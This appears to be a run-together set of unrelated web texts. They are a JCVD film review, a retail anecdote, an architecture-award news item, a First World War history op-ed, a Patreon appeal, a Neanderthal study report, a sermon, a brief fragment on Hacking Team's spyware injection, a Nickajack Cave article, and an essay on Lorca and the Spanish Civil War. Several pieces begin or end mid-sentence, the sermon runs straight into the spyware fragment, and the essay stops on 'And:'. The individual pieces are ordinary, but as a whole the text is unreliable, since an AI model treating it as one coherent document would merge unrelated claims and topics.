Jean-Claude Van Damme plays himself, a dead end, down-and-out Hollywood star who returns to retire in his home country. But when he wants to withdraw money, first there is none, then he falls victim to a hostage situation and the robbers force him to pretend he is running the show.
MUSCLES – AND MOVIES – FROM BRUSSELS
I was born in Belgium and had been away for eight years when in 2008 a wave of nostalgia befell me while watching JCVD, with – and about – my fellow Belgian Jean-Claude Van Damme. Remarkably, this film had a greater effect on me than the overall more accomplished In Bruges of the same year (in fact, the over-emphasized medieval backdrop in the latter film annoyed me).
this film had a greater effect on me than
the overall more accomplished In Bruges
In JCVD the filmmakers really capture the soul of my country and its capital Brussels as I remembered it from living there. More importantly, JCVD’s cinematic style reminds me of a peculiar tone and style, as seen in other Belgian films such as Man Bites Dog.
NOT FOR EVERYONE
JCVD is an equally bizarre piece in that it mixes realistic drama with tongue-in-cheek comedy while also taking a stab at the crime genre. The result is not without its problems. Add to this the frequent shifts in POV and the non-linear story structure and your mainstream audience stays away.
JCVD succeeds in poking fun at the way small-town people treat their celebrities – they don’t have many – and the capital of Europe really still is a small town. Having lived there for a few years, it’s also a big part of its charm. But the joke wears off and the story struggles to survive on the tension around the hostages.
At the mid point, traditionally things become more personal when the Van Varenbergs, Jean-Claude’s parents, appear to try and convince Jean-Claude to give himself up.
At the mid point, traditionally things become more personal
REDEMPTION OF A BAD, BAD ACTOR
The best moment of the film sits somewhere close to the end of Act II, it is a single take of nearly seven minutes in which Jean-Claude breaks the fourth wall and summarizes his struggles as a star. The movie character blends with the real-life Jean-Claude and we witness the redemption of a bad actor and a very bad boy.
In this one shot, Jean-Claude outclasses anything he ever did in terms of acting in his entire career. We see a handsome but fragile man in his late forties reflect on the things he did and now regrets. It is a metaphor for the end of the glamor and a metaphor for everyone taking stock of their lives.
In this one shot, Jean-Claude outclasses anything he ever did
in terms of acting in his entire career.
Time Magazine named Jean-Claude’s performance in JCVD the second best of the year, after Heath Ledger’s The Joker in The Dark Knight. “He deserves not a black belt, but an Oscar.”
Oss!
You can read the full monologue in English on IMDB.
– Karel Segers
(first published for ScripTips)
Karel Segers is a producer and script consultant who started in movies as a rights buyer for Europe’s largest pay TV group Canal+. Back then it was handy to speak 5 languages. Less so today in Australia.
[box]
Karel teaches, consults and lectures on screenwriting and the principles of storytelling to his 7-year old son Baxter and anyone else who listens.
He is also the boss of this blog.[/box](I was working in the seasonal section of a large bulk retail chain. It was Christmas time and we sold large sets of decorative houses with lights in them.)
Customer: “Hi, I would like to purchase one of these…” *points to a house set* “…but there aren’t anymore underneath it. Where are the others stored?””
(I use my price gun to check the quantities of said item.)
Me: “I’m sorry, it appears we are sold out.”
Customer: “Well, then, I’ll just take this one.” *points to the display unit*
Me: “Oh, that’s just a display unit. That one isn’t for sale.”
Customer: “Why not?”
Me: “This is one of those specific items that we are given a temporary display unit from the vendor that we have to send back at the end of the season.”
Customer: “So why can’t I buy it?”
Me: “Well, it’s not ours to sell. It is rented from the people who made the set.”
Customer: “I don’t understand why I can’t buy it!”
Me: “It does not belong to us. We cannot sell what does not belong to us.”
Customer: “Why not?”
Me: “What kind of car do you drive?”
Customer: “A 2000 Focus. Why?”
Me: *to a passing customer* “Sir, would you like to buy a 2000 Focus?”
Customer: “What are you doing?”
Me: “Selling your car.”
Customer: “Why? It’s MY car!”
Me: “Well, I didn’t think ownership made a difference to you.”
(She then stormed off to talk to a manager who told her I would be taken care of. He then proceeded to buy me a piece of pizza for making his day.)A small building in Hoi An, Vietnam featuring bamboo roofs thatched with coconut leaves beat out the much grander Halifax Central Library to win World Building 2015 in the civics and community category at an international architectural festival in Singapore.
Thirteen buildings from around the world were shortlisted in the category.
Just being nominated for an award at the World Architecture Festival was thrilling, library spokeswoman Kasia Morrison said Friday.
"The library was built through public consultation so it is an honour we all share."
The Danish firm Schmidt Hammer Lassen Architects collaborated with local architects Fowler Bauld & Mitchell on the design for the library located at the corner of Spring Garden Road and Queen Street.
Cam Thanh Community House, Hoi An, Vietnam. (World Architecture Festival)
The library is certainly a winner in its own community. It is used by at least 6,000 people every day, more than double the number projected.
Cam Thanh Community House located in Hoi An, Vietnam, with its unique roofs slanted to direct rainwater to planted courtyards, was designed to provide a hub for the local neighbourhood and an information centre for tourists.Boris Johnson calls for Tristram Hunt's resignation, Hunt finds Michael Gove's views shocking, Gove slams leftwing historians who produce history to "belittle Britain and its leaders". What next? Duels at dawn as the combatants hurl history books at each other and demolish each others' myths? Who could have imagined that nearly a hundred years since the outbreak of the first world war it would be rousing such passions?
The trouble in this debate about the first world war is that one person's myth is another one's incontrovertible truth. Either the generals were all donkeys or they were sensible men doing their best. The war was either a colossal mistake or a struggle for important principles. Such polarisation may make for a good spectacle but it doesn't do what history should – and that is help us to understand the past in all its complexity.
Can I suggest that we start by keeping in mind that there is a key difference between myths, which can be disproved by looking at the evidence, and interpretations, which take the evidence into account? Myths about the war that historians have helped to put to rest are, for instance, that all Europeans welcomed war with cheering and flowers. We now know that across the continent, the public mood was much more a mix of apprehension, resignation, fear or, in some cases, exhilaration that the storm so long anticipated had finally broken.
Another myth: that the generals on both sides were heartless effete aristocrats who sipped champagne behind the lines while they pondered, unsuccessfully, the challenges of modern industrial war. Historians such as Gary Sheffield and John Terraine have shown that the generals were well aware of the challenges; the technology was simply not there – or not until late in the war – to overcome them. Nor were they all from the upper classes. General Erich Ludendorff, one of the most successful of the German generals, was middle class, while General Arthur Currie, arguably the most competent of the British empire's generals, was an unsuccessful insurance salesman.
Interpretations are of another order. People can take the same evidence about an event and come up with widely different views of what it meant. In December 1912, at a time of considerable tension in Europe as a result of a war in the Balkans, Kaiser Wilhelm of Germany summoned his favourite military advisers to his palace at Potsdam to talk about the situation and what Germany's chances were if a wider war broke out. Nothing was decided and his chancellor, Theobald Bethmann Hollweg, was furious that he had not been consulted.
So was it, as some, including the German historian Fritz Fischer, have argued, a war council that demonstrates Germany's leadership was determined on a war of conquest, or was it – as I am inclined to think – yet another example of the kaiser shooting off his mouth? Wilhelm often sounded belligerent, yet when it came down to it, usually opted for peace. His own beloved army officers took to calling him William the Timid, something that stung and may have made him determined in 1914 not to back down. We have to accept, in my view, that both interpretations are valid and it may be impossible ever to determine which is most plausible.
History is all about disagreements and both schoolchildren and the public should be made aware that the first world war from beginning to end is the subject of much debate. Let us embrace that, rather than fearing it. Encouraging discussion of the past can only enhance and deepen our understanding. This year we will be talking a lot about the origins of the war and who or what was responsible. Unlike the second world war, we do not have a clear consensus on how it started and we never will. Yes, we can assign more or less responsibility – I blame Austria-Hungary and Germany for their mad determination to destroy Serbia knowing that a general war might result – but there is still plenty of room for disagreement. We need to look beyond individual players or states and take into account the overall context. There was a dangerous mood in Europe by 1914 that war was an option – that it was probably inevitable. (It helped, of course, that many in the military assumed, in the face of much evidence to the contrary, that a future war would be short and decisive.)
Indeed, many believed that conflict was deeply engrained in human society, and that nations that survived did so because they were prepared to struggle. Gove has accused the Germans of adhering to such social Darwinist ideas, but he should know that these were widespread across Europe, and that one of their fullest enunciations came from Herbert Spencer, an Englishman.
We should also be careful not to attribute ideas and motives retrospectively in order to suit our own needs. Stephen Harper, the Canadian prime minister, has said that the battle of Vimy, where Canadian troops carried a crucial ridge in the face of a strong German defence, showed Canadians' "unwavering commitment to defending peace and freedom". I doubt soldiers at the time would have put it like that. My Canadian grandfather and his cousins were fighting for the mother country. I also doubt that the British soldiers thought that they were defending, as Gove claims, "the western liberal international order". Like my ancestors and, it should be remembered, soldiers on all sides, they were fighting for their country, and their own families and friends.
What is so dispiriting is how our memories of a catastrophic and monumental event in modern history are being dragged into current political debates. It will be a great pity and a waste if we don't take the occasion of the anniversaries this year as a time for understanding and for sharing an experience that affected all of Europe, and indeed much of the world, including my own country, Canada. Let us respect the dead, who are so frequently summoned into the debates, by trying to understand what happened, and not use them to score cheap points.You've stumbled onto the JaidenAnimations Patreon page! Thank you so much for stopping by!
"Hi!...so who are you?"
more amusing animations! As well as maintaining My name is Jaiden. I make YouTube animation videos for everyone to enjoy and laugh at! I also do other things on my channel like SpeedArt, piano, and artsy stuff, but I know you're all here for theanimations! As well as maintaining JaidenAnimations channel, I also work with another popular channel iHasCupquake. They hire me to make them animations as well, which I love doing! They're actually examples of my most popular works yet! If you're curious about any of my animations for them,
click here!
"Okay, so why do you have a Patreon?"
As much as I wish I could devote my entire life to the internet and animating and the fun stuff, I have to maintain a solid education, too. Sounds good? Well, the particular course I'm going into (Graphic Design) is known to be excruciatingly time consuming... And seeing as animation is also a very long process, I won't be able to produce content as often as I wish I could. Also, being devoted to two channels (JaidenAnimations and iHasCupquake) can spread me pretty thin.
"Yeah, but how does donating help you?"
If you were to support me on Patreon I can start saving towards better tools and supplies to help me work faster, thus getting more content pumping out. It also helps me through college without needing to take up another job because everyone knows how cheap college is. Even the slightest bit of donations are appreciated, and it means the world to me that you enjoy my content enough to help me along my way :)
Thank you!!
Thank you so very much for taking the time to help me. Even if you can't donate, thank you for being interested in my art and animations and supporting me in any way you can. I love all of you, and I hope that I can maintain good, quality content for you to continue enjoying~The evidence suggests that Neanderthal culture remained static. – Lambert / ullstein bild / Getty Images
What killed the Neanderthals? Our Homo sapiens ancestors lived with their hominid neighbours – they even interbred – but around 30,000 years ago, Neanderthals disappeared.
Theories include disease, violence, and even inability to adapt to climate change – but a study published today suggests modern humans’ competitive edge came from their advanced culture.
Researchers from Stanford University and Meiji University in Tokyo used computer modelling to see how cultural development – such as art and tool-making – might help or hinder a species.
The modelling, published in the Proceedings of the National Academy of Sciences, found a small initial population of modern humans, with their cultural arsenal, could completely displace a larger Neanderthal population.
And when they introduced a positive feedback loop to the model – where more cultural development led to more competitive advantage which, in turn, led to more cultural development – the number of modern humans needed to push out a big group of Neanderthals dropped.
That’s not to say Neanderthals were completely culture-free. Archaeologists have uncovered evidence of their tool-making, wearing clothing from animal hides and painting rocks.
But while Neanderthal culture remained static, that of modern humans flourished. With culture comes communication, such as conveying hunting grounds and techniques, and social networks.
Related reading: The Neanderthals live on in us.Sunday after Theophany, January 10, 2016
Ephesians 4:7-13; Matthew 4:12-17
Rev. Fr. Andrew Stephen Damick
In the name of the Father and of the Son and of the Holy Spirit, one God. Amen.
“To each one of us is given the grace according to the measure of the gift of Christ.”
This phrase from Paul’s epistle to the Ephesians is appointed for us to hear every year on the Sunday after Theophany. It is in Theophany that we see Jesus Christ baptized, and it is also in Theophany that we therefore see our own baptisms. Because Christ is baptized in the Jordan, our baptism becomes possible, not just a baptism of repentance as had been appointed for the Jews, but a new baptism that includes repentance but exceeds it, because that new baptism gives something beyond forgiveness of sins—it gives “the gift of Christ.”
I would therefore like us to focus on Paul’s message here in the context of our baptism. In baptism, we are granted admission into the Church. In baptism, we are justified by faith, made righteous before God, and become part of the New Covenant of God’s Kingdom. In baptism, we become Orthodox Christians. This much, I think, is familiar to most of us. We have a sense that baptism is a new beginning, a beginning of our membership in the Church.
But there is something about baptism which I believe has been de-emphasized for many of us, if not most of us. In this de-emphasis is a serious problem for many Christians in the Orthodox Church. And what is this? What has been de-emphasized? What has, for some, even been lost? It is that in baptism we receive “the gift of Christ.”
Now, we can of course say that this means that Christ is given to us as a gift, that we can be saved as a result of the process begun at baptism. And that is true and should be obvious. And I don’t think that that emphasis has been lost too badly, at least not for those whose membership in the Church actually means something to them after the day of their baptism.
But there is something else here that Paul means by “the gift of Christ.” There is something that we receive in baptism that is more than our entrance into the Church or something starting us on the path to salvation. So what’s going on here?
In order for us to understand what Paul will say next in this passage from Ephesians 4, we have to have a little historical background for our current cultural moment and how we understand what it means to be part of a church.
Part of why we have a tough time fleshing out what it means for us to be baptized is because of a movement that began among Lutherans in late seventeenth century Germany. Stick with me here, because this is important.
That movement among Lutherans was called Pietism, and its purpose was to try to refocus people on their personal commitment to the Christian life. Sounds pretty good so far, right? There was a problem, though, in how the Pietists went about getting people to renew their personal commitment to Christ. So what did they do?
Pietists emphasized that what mattered the most was your own private connection to God, that you were sincere and that you lived a good moral life. What doctrine you believed or which church you belonged to didn’t really matter. The Pietists organized private Bible studies, encouraged independent governance of congregations, and praised preaching that focused on the inner life of the believer.
And because these were their emphases, at the same time, they de-emphasized the sense of mutual responsibility that believers had |
a restaurant or a cafe. When the targeted individual uses the Internet for any task, like reading the news or watching a video, the device intercepts that traffic and injects the malicious code that secretly installs Hacking Team’s spyware.
Hacking Team gained notoriety in recent times as human rights and digital security advocates discovered traces of its spyware on the computer systems of journalists and political activists from Ethiopia, Morocco and elsewhere. The leaked information confirmed that Hacking Team sold its merchandise to many countries with dubious human rights records, and also to agencies in the USA, where the use of such spyware continues to be the subject of controversy.Coordinates:
Nickajack Cave
Nickajack Cave is a large, partially flooded cave in Marion County, Tennessee. It was partially flooded by the Tennessee Valley Authority's Nickajack Lake, created by the construction of Nickajack Dam in 1967. The entrance was originally 140 feet wide and 50 feet high.[1] There is now about 25–30 feet of water at the entrance, so the portion of the entrance above water is 140 feet wide and 20–25 feet high. It houses a large colony of Gray Bats, an endangered species, and the water levels have posed a danger to the bat colony.[2] The cave took its name from the Chickamauga Cherokee town of Nicojack[3]/Nickajack, located between its mouth and the Tennessee River. The town was destroyed once in 1794 by the Nickajack Expedition.
Cultural history [ edit ]
Nickajack Cave was mined for saltpeter by James Ore beginning in 1800. At this time, the cave was on land owned by the Cherokee and this operation was conducted with their permission. This mining continued through the War of 1812. The cave was again mined for saltpeter during the American Civil War, this time by the Confederate Nitre and Mining Bureau. Page 85 of the February 6, 1864 issue of Harper's Weekly shows a drawing of the cave entrance and some of the saltpeter mining and refining equipment located outside the cave.[4] Page 285 of the January 23, 1864 issue of Frank Leslie's Illustrated Newspaper shows a drawing of the area inside the mouth of the cave, including the leaching vats and a tower that would have supported a water tank.[5] Robert Cravens, a Chattanooga businessman, operated Nickajack Cave and his own cave, Lookout Mountain Cave at the beginning of the Civil War. Soon after the war started, the operation at Nickajack Cave was taken over by the Confederate government. Some time in late 1863 or very early 1864, this area was occupied by Federal troops and mining ceased. Nickajack Cave was one of the largest saltpeter caves operated by the Confederate Nitre Bureau during the Civil War and, as such, was a highly strategic site, since saltpeter was the main ingredient of gunpowder. The loss of Nickajack Cave was a serious blow to the Confederacy.
Musician Johnny Cash visited the cave in 1967, intending to commit suicide inside it, but had a spiritual experience there that caused him to stop his habit of drug abuse.[6] Country singer Gary Allan recorded a song about this experience on his 2005 album Tough All Over.
Nickajack Cave was a commercial cave, off and on, since at least 1872. At that time, a newspaper clipping dated July 2, 1872 describes tours leaving from Chattanooga on the steamer R. J. Jackson providing trips to the cave where guides would take visitors into the cave in boats. Upon exiting the cave, the visitors could catch the train from Shellmound (located directly in front of the cave entrance) back to Chattanooga. By 1927 the cave was being shown by Lawrence S. Ashley, who supposedly disappeared in the cave during exploration. His disappearance was covered by both the local Chattanooga newspapers and the New York Times. After being "lost" from August 15, 1927 through August 22, 1927, Ashley reappears, claiming that he dug his way out through a new entrance located 8 miles away. This entire episode was a hoax designed to gain publicity for the cave and increase the number of tourists visiting the cave. By the 1940s, the cave was being run by Leo Lambert, who is also known for developing nearby Chattanooga tourist attraction Ruby Falls. A cave brochure from this time period refers to the cave as "Nickajack LaCaverns". The cave closed as a commercial operation sometime in the late 1940s.[7] In the early 1960s, before the cave was flooded, the ruins of the gatehouse were present and in concrete floors were evident in the front passages. The entrance to the cave is extremely large. There was a small lake in front of the cave fed by the stream that flowed through the cave.
To access the interior of the cave when tours were no longer being offered, visitors had to walk about one-quarter mile down a waist-deep stream that ran through the cave. There had been a cave-in at the rear of the cave that blocked off what were rumored to be miles of additional passages.
Natural history [ edit ]
At least three endemic species were exterminated when the cave was inundated in 1967 – the crustacean Caecidotea nickajackensis, the pseudoscorpion Microcreagris nickajackensis and the ground beetle Pseudanophthalmus nickajackensis.[8]
Today, Nickajack Cave is a Wildlife Refuge, operated by the Tennessee Wildlife Resources Agency. The cave is home to a bat colony that is estimated to number over 100,000 bats. The cave is a maternity roost where pregnant female gray bats come each spring to give birth and raise their young. There is an observation deck adjacent to the mouth, where visitors can watch the bats leave at dusk to go feed.[9]
To locate the cave travel west from Chattanooga on interstate 24, take exit 161 and turn left on Hwy 156 or Shellmound Rd. Go 4.8 miles passing Macedonia Rd and a small lake where the cave is located. Turn left after passing the small lake and you will see the only sign for the Nickajack Cave. There is a parking area for a boat ramp. At the back of the parking area is a board walk to the Nickojack cave viewing platform. The board walk is about 1000 yards long and the platform is very small, only about 12'X12'.
References [ edit ]
Notes
^ Thomas C. Barr, Jr., "Caves of Tennessee", 1961, pages 305-306. ^ See page 189, Caves of Chattanooga, by Larry E. Matthews, April 2007. ^ The journal of Major John Norton 1816, pages 30, 39 ^ This drawing is reproduced as Figure 5.2 on page 87 in "Caves of Chattanooga", written by Larry E. Matthews and published April 2007 by the National Speleological Society. ^ This drawing is reproduced as Figure 5.4 on page 89 in "Caves of Chattanooga", written by Larry E. Matthews and published April 2007 by the National Speleological Society. ^ A much more detailed version of this incident is given on pages 100-102 of the book "Caves of Chattanooga" which was written by Larry E. Matthews and published in April 2007 by the National Speleological Society. ^ See pages 92 - 100 in "Caves of Chattanooga" by Larry E. Matthews. ^ Julian J. Lewis (2009). "On the identity of Caecidotea nickajackensis (Crustacea: Isopoda: Asellidae)". Proceedings of the Biological Society of Washington. 122 (2): 215–224. doi:10.2988/08-47.1. ^ See page 109, Caves of Chattanooga, by Larry E. Matthews, April 2007.
10. Visited by Daniel Boone and company in 1767. Missouri Historical Review, Volume 06 Issue 3, April 1912
Page 138 [[1]]
SourcesJuan McIver looks at the Spanish Civil War and the work of poet and playwright Federico García Lorca
The play El public (The Public) was written by Federico García Lorca (1898-1936) in 1930. It was never performed during his lifetime. On 16 July 1936 Lorca left the manuscript in Madrid. Five weeks later, he was murdered by Franco’s troops in Granada.
Franco’s military alzamiento of 17 July 1936 started ostensibly against the Popular Front Government but in reality it was aimed at crushing the insurgent working population of Spain. The Italian and German Fascist regimes had defeated similar social unrest, and in neighbouring Portugal, Salazar’s state was also a bulwork of reaction. Léon Blum’s Popular Front government in France showed a different way of deflecting social unrest. In the USSR, Stalin was preparing further purges — the Moscow Trials that shocked the world in August. Claiming to represent the traditions of the Russian revolution, Stalinism was as totalitarian as the Nazi régime. As Stalin’s Great Terror unfolded in 1936-38, the world rushed to the abyss of WW2.
Lorca shunned political involvement in a society being ruthlessly polarised by the Army and the Popular Front parties. However, he had humanist and utopian opinions about the individual and society. In April of ‘36, he said in a long interview: "I see it clearly. Two men are walking along a riverbank. One is rich, the other poor. One has a full belly, the other pollutes the air with his yawns. The rich man says, ‘Oh, what a pretty boat I see on the water! Look sir, at the iris flowering on the shore.’ And the poor man grumbles, ‘I’m hungry; I don’t see anything. I’m hungry, very hungry.’ The day hunger disappears the world will see the greatest spiritual explosion humanity has ever known. Men will never be able to imagine the happiness that will erupt on the day of the Great Revolution."
For holding such opinions, and for his sexual ambivalence, Lorca was a marked man. Franco’s military-clerical crusade was not only anti-working class but deeply homophobic and misogynistic.
In El public, Lorca’s views about individuality are profoundly subversive. They address the difficulty, if not impossibility, of love in a repressive society. His first play, El maleficio de la mariposa (The Butterfly’s Evil Spell), was a scandal in 1920. The plot has been called ‘preposterous’. Perhaps: after all, it dealt with the rather unpredictable love between a cockroach, Curianito, and his Butterfly paramour. Other creatures in the play were glow-worms and a scorpion. By the end of the drama Curianito and his beloved Butterfly die, proving that love brings only suffering, never joy. But the play also asserted that "…love springs forth with equal intensity on all planes of love". To assert that insects (and, later, gays) were capable of the most intense and sublime expressions of love was indeed subversive in the 30s.
El public contains many of Lorca’s intimate views of the individual’s tragic fate in society. Because the manuscript included themes of homosexual ‘mad love’ (amour fou), he knew the play would face scandal and fierce opposition. This was true in spite of the victory of the Second Republic in 1931."This is for the theatre years from now" he remarked at the time, "Until then, let’s say no more about it."
The play’s symbolism ruthlessly exposes the violence endemic in society. The main character is a Theatre Director who perishes attempting to renew himself through a ‘Theatre of Beneath the Sand’. This is a theatre of authenticity; a living project where the lies and pretenses of the repressed and repressive public are exposed. For his own play, the Director uses the Romeo and Juliet characters from Shakespeare’s play. However, Juliet is a youth in disguise. The real and moaning Juliet has been left gagged and trussed under the seats. To the Director, it didn’t matter if the sexes were swapped. But the public didn’t tolerate this transgression and ‘the revolution’ broke out. They disembowelled the Director, Romeo and both Juliets. A lady witness remarks ‘…the revolution had no right to desecrate a tomb.’
El public shows the influence of Pirandello, the (mainly French) avant-garde (Cocteau) and surrealism.
In Lorca these influences and techniques are woven into a new, magical and delirious tapestry. Here we have a stroppy Juliet arguing with one of the White Horses (who trumpet and talk back):
"People, and yet more people; they’ll be in my tomb next, taking over my very cot. I’m not interested in discussing love, and theatre; what I want is … to LOVE.
White Horse. TO LOVE!
Juliet. Yes, a love that lasts no more than a moment."
In Lorca’s plays love is elusive and violence is always near the surface. Witness this surreal dialogue between two figures, one covered in little golden bells and the other with red vine leaves:
"Bells. If I changed myself into a cloud?
Vine leaves. I’d change myself into an eye.
Bells. If I changed myself into a turd?
Vine leaves. I’d change myself into a fly.
Bells. If I change myself into an apple?
Vine leaves. I’d change myself into a kiss.
Bells. If I changed myself into a breast?
Vine leaves. I’d change myself into a white bedsheet.
Voice (sarcastic). Oh well done!
Bells. And if I were to change myself into a moonfish?
Vine leaves. I should change myself into a knife."
Lorca’s vision of the individual, and of his tragic quest for love, has the resonance of the social conflict devouring Spain in the mid-30s. His love, disguised by endless masks that crushed, is not the marvellous of Breton’s amour fou (1937), but he would have shared Fourier’s criticism of the society that killed that divine passion: "…what is the aim of this political system which represses love so violently? Is it to reduce society to poverty, deceit, oppression, carnage, etc? Of course not. But this has been the result of the civilised system which represses love and grants it only a minimum of legitimacy."
The individual is defined by Lorca as a being passionately in need of love. "He alone loves who has the strength to hold fast to love", wrote Adorno in 1946. The fact that individuals, generally, cannot fulfil this species need in communal life is a fundamental critique of an alienated society. Lorca’s art, and specifically El public, is therefore a testimony of rebellion, of refusal to adapt to inhumanity. His art is also a tribute to his strength to hold on to love. All humans have this capacity, in greater or lesser degree, but unfortunately few of us leave records of this quest in art-forms.
Was there a ‘social revolution’ in Spain in 1936-39? In key industrial regions, and in Madrid, there was a resolute workers’ and popular resistance to Franco’s alzamiento during and immediately after 19 July 1936. Suddenly a mass movement was unleashed, of factory takeovers by workers and land collectivizations by agricultural workers and poor peasants. However, this elemental class movement coexisted with the hulk of the Republican Government, and supported it. Anarchists of the CNT-FAI, UGT trade unionists and the Marxists of the POUM (Partido Obrero de Unificación Marxista) rushed to support (albeit critically) and even join the Popular Front coalition and the Generalitat in Catalonia. The Spanish Communist Party, until then relatively small, was extremely active in reviving the moribund Republic. The autonomous interests of the workers were subordinated to the needs of the democratic state. These needs momentarily coincided with the USSR’s strategic needs. Just like the Italian and German Fascists supported Franco’s crusade, Stalin supported the Republic’s. From the late summer of 1936 the workers’ militias were gradually militarised into a National, centralised Army. The process of militarisation was criticised and resisted, but it became irresistible when the Army’s modern weapons were supplied by the USSR. A minority tried to resist the totalitarian drift by insurrection in Barcelona in May 1937, but it was too late by then. The revolutionary wave had receded and suffered a defeat in Spain, as it had already in Russia, Germany and Austria. The workers’ resistance in Spain waned and had to be propped up with intense propaganda and coercion. The interests of the Republic, as upholder of the Nation, became paramount, not social emancipation. Anti-fascism thus replaced the vision of a classless society. Anti-fascism too was crucial for Stalinism to justify the Great Terror, and to deflect attention from Stalin’s underlying strategy of forging a pact with Hitler.
In Stalin, Willi Münzenberg and the seduction of the Intellectuals — part of the recent literature on the period — the American writer Stephen Koch explains the international dimension of the Spanish Civil War. Stalin wanted to reach an agreement with Hitler, whose military might he feared. In order to do that, he wanted to use Spain as a bargaining chip. In fact, to appease Hitler, he sacrificed his own supporters in Spain. Inside the USSR itself, he was decapitating his General Staff (who were anti-German) during the purges of the Great Terror. This was to show Hitler that the USSR wasn’t a threat and might even be an ally. The Great Terror also allowed Stalin to exterminate any possible threat to his total power. The gamble in Spain seemed to work. In 1939, Hitler and Stalin signed the Molotov-Ribbentrop Pact which allowed Germany and Russia to invade Poland without mutual fears. That started WW2 in September but it didn’t stop Hitler from invading Russia in 1941! The Spanish Civil War ended in April 1939, with Franco’s total and unconditional victory.
This is part of the ‘macro—history’ that provides the backdrop to the 30s. Without grasping these events, it’s difficult to understand the seemingly isolated ‘personal’ events and tragedies of that period. The films Burnt by the Sun and Ai No Corrida depict fictional private tragedies in the same period of history. One happens in Russia as the terror of the purges engulfs all human relations and the other in a militarised Japan. The subtle overlap of the particular with the general emphasises the poignancy of these symbolic tragedies. Yet, in these films, as in history, the individuals were cruelly subordinated to the barbarism of the macro-level. All great works of narrative art have this dimension — a critical depiction of the mutual interaction between the general and the particular. It applies much less to the visual arts, and even less to music. In the mentioned films, the isolated monad, the particular, is defeated by the macro-level, by the false community that speaks in the name of individuals.
Franco’s victory brought immense suffering to thousands who emigrated to escape his terror. Many opponents, or ‘neutrals’ who couldn’t escape were massacred outright, tortured, imprisoned or couldn’t get jobs for years. But the victory of the other side (the Stalinist side by then) would have meant the same if not worse for many of those same people. By supporting one side of a conflict between gangs, humans become cannon-fodder (or at least dupes) of one of the gangs. That has been the fate of mankind this century. But it doesn’t have to be like this forever. Perhaps the memory of the initial emancipatory movement that existed in Spain in 1936 is part of a history that still has to be reappropriated.
The Spanish Civil War was the most important political event before ‘WW2; in fact, it was its preamble. The hundreds of thousands of workers and other civilians who perished in Spain, on both sides, were sacrificed for the dominant system of blocs, not for ‘socialism’. In this sense, it wasn’t ‘Spaniards’ or ‘Catalans’ or whatever who died, but part of humanity’s living hope.
The 1995 film Land & Freedom seeks to present the POUM, the Anarchists and perhaps the Trotskyists as heroic revolutionaries who defended a revolution ‘betrayed’ by Stalinism. According to this, Stalinism ‘opened the door’ to Franco. In reality the mentioned political groups supported the Catalonian Republican government, the Generalitat. In turn, this regional apparatus supported the Central government in Madrid. It thus supported its Army. This Army (controlled by the Stalinists after Negrín dominated the Popular Front) systematically militarised the workers. Trotsky’s perspective in Spain was that workers should defend "the lesser evil". He wrote: "Only cowards, traitors, or agents of fascism can renounce aid to the Spanish republican armies. The elementary duty of every revolutionist is to struggle against the bands of Franco, Mussolini, and Hitler." And: "We are ‘defensists’…. We participate in the struggle against Franco as the best soldiers [of the Popular Front Army],…" This perspective ignored completely that the Popular Front and its Stalinist supporters, in carrying out a prolongued civil war, had defeated the working class politically and socially, and decimated the most radicalised workers, a policy no different from Franco’s.
After May 1937, the Stalinists tried to openly exterminate the POUM, Anarchists and Trotskyists, who at last rose in Barcelona in a last desperate attempt at self—survival. These parties were seen as potential threats by the Stalinists and Negrín. But these parties had become isolated from the then militarised working class, The state machine they had supported turned against them and massacred them. They no longer had any coherent mass support. Their deaths, like all deaths, are to be deplored, but their own faith in lesser evils doomed them. What’s worse, their calls for support for the Popular Front’s military effort confused thousands of enthusiastic workers, who were then caught and mowed down in what became a merciless gang warfare. This lack of adequate consciousness in the working population is at the root of the tragedy. In the unfavourable world situation of 1936, one isn’t saying that the working population could have done differently. One cannot jump over one’s shadow, and only the benefit of hindsight allows one to be clearer on the events.
From the above, it is difficult to see how the contradiction between the individual and society — in national form in this case — was resolved in Spain in July 1936. It certainly never was in the period after. The individual in July 1936, insofar as he belonged to a fighting community of labour, did take actions that reduced the chasm. Many accounts exist confirming that a real movement of emancipation took place. The narratives and histories of Mary Low and Juan Breá, Grandizo Munis, Carlos Semprún-Maura, Burnett Bolloten and many anarchist historians, in spite of their differing perspectives, provide persistent confirmation of what the working class in cities and the countryside did on 19 July and thereafter. The destruction of prisons (soon to be rebuilt by the Republic), the agrarian collectives where money was partially abolished, the democratically-run juntas and comités (before the CNT-FAI-UGT committees recaptured and expanded their own influence), the ability of the population to persuade the forces of law and order, and even Franco troops, to join them against the Franco onslaught. The vision of an emancipated life was being posed for real, it was being acted upon, even if the steps were faltering.
Michael Seidman’s various writings on Spain’s Civil War should be mentioned as indispensable studies on the role of ‘individualism’ during the conflict. These essays on working class ‘individualisms’ are provocative in that they suggest that any vision of emancipation that departs from the betrayal of individualism demanded by ‘sacrifice’ to a false, higher, collectivity is bound to provoke demoralisation and then resistance from the ‘atomised’ individuals. The particular and the general can enrich and propel each other toward emancipation only if there are no hidden agendas of domination:
"Thus, an analysis of resistance contributes to an understanding of a key function of the state in industrial societies and to the conclusion that one of the most vital functions of the state is to make workers work. During the 1930s, a weakened or permissive state encouraged resistance, whereas a repressive state — bourgeois or proletarian — reduced refusals to work. The growth and use of state power in Barcelona and Paris during the Popular Fronts cast doubts on the argument of the workplace utopians that in socialism or libertarian communism the state will wither away."
Seidman’s ‘cybernetic utopia’ also suggests that the overcoming of capital, and thus alienation, and the separation between the individual and the community, can’t be understood in terms of individual (or factory) reappropriation by workers of that which they produced. Today, in contrast to 1936, the amount of social abundance, the alienated social totality, would not require a ‘politics of labour’ but an immediate ‘socialisation’, a transcendence of all separations.
In Spain in 1936, the individual became lost once the class retreated from the social and political stage, once the permanent need to exchange experiences, to discuss and take decisions collectively and individually, was lost. The emancipation of consciousness needed that atmosphere as the most basic precondition: debate and reflection are aspects of self-activity. The false and totalitarian communities of nation and state reasserted themselves once the individuals lost their own general terrain, lost their, own autonomous momentum.
Simone Weil was much more prescient than Trotsky, Nin or any other supporter/participant in the Spanish Republic’s war against Franco. Her insights apply also to the course of WW2. In 1933 she wrote:
"Revolutionary war is the tomb of the revolution and will remain so as long as soldiers themselves, or rather, the armed citizenry, are not given the means of making war without a controlling apparatus, without police pressure, without a special court, without punishment for desertion. Only once in modern history was war conducted in this way, namely, under the Commune; and everyone knows how that ended. It seems that a revolution involved in a war has only the choice of succumbing to the deadly blows of the counterrevolution or transforming itself into a counterrevolution through the very mechanism of military struggle. The prospects of revolution seem therefore very limited, for can a revolution avoid war?"
And:
